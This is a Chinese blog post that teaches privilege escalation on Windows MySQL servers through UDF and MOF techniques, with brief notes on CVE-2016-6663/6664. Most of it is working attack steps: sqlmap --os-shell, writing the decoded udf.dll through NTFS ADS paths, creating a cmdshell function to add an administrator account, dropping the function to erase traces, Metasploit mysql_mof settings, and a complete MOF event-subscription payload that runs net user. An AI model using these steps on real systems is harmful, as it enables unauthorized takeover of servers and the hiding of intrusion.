Win_MySQL数据库提权之UDF和MOF提权原理及实现

前言:

不要为了读文章而读文章,一定要带着问题来读文章,勤思考。

很多年前的文章了,整理和分享做个记录写在博客.

UDF提权

  • 关于UDF提权,也是现在比较常见的MySQL类提权方式之一。它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库!这样一来我们就可以利用 system权限进行提权操作了!

  • 在开始进行UDF提权前,我们有必要先了解下提权对象的系统版本及MySQL数据库的版本信息。因为对于不同的版本,操作手法也不近相同!

自动提权udf(sqlmap):

python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/mysql"

python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/mysql" --os-shell 

报错

[CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/petehunt/PyMySQL/'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'mysql' installed
  • 是我没有安装Python连接Mysql用的第三方库python-pymysql

    解决方法:

    git clone https://github.com/petehunt/PyMySQL/
     cd PyMySQL/
    sudo python setup.py install

    最后

    安装好python-pymysql后再执行命令:
    
      python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/mysql"

手工提权

  • 步骤:

    1.看路径、版本
    2.写dll到mysql文件夹里面
    3.创建函数
    4.执行命令提权

用到的命令:

select @@datadir 查看路径

select @@version 查看版本

windows下udf提权的条件

< 数据库版本为 5.0:

  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导出到 C:\Winnt\udf.dll 下。

如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。

> 数据库版本为 5.1:

我们则需要将 dll 文件导出到 mysql 安装目录的 lib\plugin\ 下,
才能创建自定义函数。注:如果没有 plugin 目录,我们可以进行手动创建!

一般Lib、Plugin文件夹需要手工建立(可用流模式突破进而创建文件夹)

使用NTFS ADS流创建lib、plugin文件夹:

某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办?利用NTFS ADS流来创建文件夹的方法

select @@basedir;   //查找mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //使用NTFS ADS流创建lib目录,It is dll 以 hex 方式写入
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
执行成功以后再进行导出即可。 

dll的写入:

1. select "hex()" //16进制写入
2. webshell方式导入

udf.dll 来源(此dll用在webshell上传用):

sqlmap 目录有udf.dll(异或过,需解码):

/sqlmap/data/udf/mysql/windows/(dll路径)

sqlmap解码工具:

/sqlmap/extra/cloak/cloak.py
  • 用法: python cloak.py -d -i /sqlmap/data/udf/mysql/windows/xx.dll(解码后会在当前路径生成)

直接执行

1. create function cmdshell returns string soname 'xx.dll'; 创建 cmdshell 调用函数(变成了system权限)
2. select cmdshell('net user admin admin /add'); 添加用户
3. select cmdshell('net localgroup administrators admin /add'); 将用户加到管理组

擦除痕迹:

drop function sys_eval;

常用函数名:

cmdshell    执行cmd;
downloader  下载者,到网上下载指定文件并保存到指定目录;
open3389    通用开3389终端服务,可指定端口(不改端口无需重启);
backshell   反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread     读注册表;
regwrite    写注册表;
shut        关机,注销,重启;
about       说明与帮助函数;

报错

udf导出失败

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

解决方法:

在my.ini文件内加入secure_file_priv = '/'

mof提权

mof提权的原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

mof自动提权:

Msf直接mof提权

use exploit/windows/mysql/mysql_mof
setrhost 192.168.157.1  #设置需要提权的远程主机IP地址
setrport 3306           #设置mysql的远程端口
setpasswordroot         #设置mysql数据库root密码
setusername root        #设置mysql用户名
options #查看设置
run 0 

手动mof提权的过程:

  1. 上传mof到可写目录

  2. 移动mof到c:/windows/system32/wbem/mof/nullevt.mof替换系统的mof文件

  3. 自动提权成功


上传mof到可写目录

找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

执行load_file及into dumpfile把文件导出到正确的位置

select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

执行成功,查看用户(net user)

一个MySQL自动化提权工具:Github链接

CVE提权:

CVE-2016-6663和CVE-2016-6664

上面两种方式条件都太过严苛,应对一些新的系统就没有用武之地了,所以再介绍一下利用下面两个CVE配合起来提权的方式,相对需求条件要宽松的多,很多情况都可以成功提权。

CVE-2016-6663
CVE-2016-6663是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。

CVE-2016-6664
CVE-2016-6664是root权限提升漏洞,这个漏洞可以让拥有MySQL系统用户权限的攻击者提升权限至root,以便进一步攻击整个系统。

导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限。

可以看到,两个cve分别是用来将低权限的www-data权限提升为mysql权限,然后再将mysql提升为root权限

CVE-2016-6663利用条件

1.已经getshell,获得www-data权限
2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码
3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权
4.Mysql<5.5.51或<5.6.32或<5.7.14
CVE-2016-6664利用条件
1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可)
2.需要在mysql权限下运行才能利用
3.Mysql<5.5.51或<5.6.32或<5.7.14

地址:
https://uuzdaisuki.com/2018/07/02/mysql%E6%95%B0%E6%8D%AE%E5%BA%93%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/

-------------本文结束❤感谢阅读-------------

本文标题:Win_MySQL数据库提权之UDF和MOF提权原理及实现

文章作者:MaiKeFee

发布时间:2019年09月13日

最后更新:2019年09月21日

原始链接:http://MaiKeFee.com/archives/9ccf323f.html